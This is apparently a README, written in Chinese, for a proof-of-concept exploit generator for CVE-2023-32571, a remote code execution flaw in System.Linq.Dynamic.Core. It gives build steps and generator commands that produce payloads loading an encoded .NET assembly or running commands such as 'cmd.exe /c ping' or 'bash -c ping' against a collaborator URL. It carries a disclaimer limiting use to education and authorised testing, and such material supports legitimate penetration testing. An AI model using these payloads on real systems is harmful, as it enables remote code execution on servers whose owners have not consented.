用于 CVE-2023-32571 的概念验证,该漏洞是 System.Linq.Dynamic.Core(1.0.7.10 至 1.2.25)中的一个远程代码执行漏洞。当包括 Where、Select、OrderBy 在内的方法接收到未受信任的输入并被解析时,攻击者可利用该漏洞执行任意代码和命令。
本工具仅用于教育和授权测试目的。未经双方事先同意而使用本工具攻击目标属于违法行为。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dll该工具支持两种模式:
# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux command execution
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode:利用模式(0=AssemblyLoad,1=ProcessStart)--file:要加载的 .NET 程序集路径(AssemblyLoad 模式必需)--type:要实例化的完全限定类型名称(AssemblyLoad 模式必需)--parameters:基于模式的参数:
--encoding:AssemblyLoad 模式的编码方法(0=Hex,1=Base64)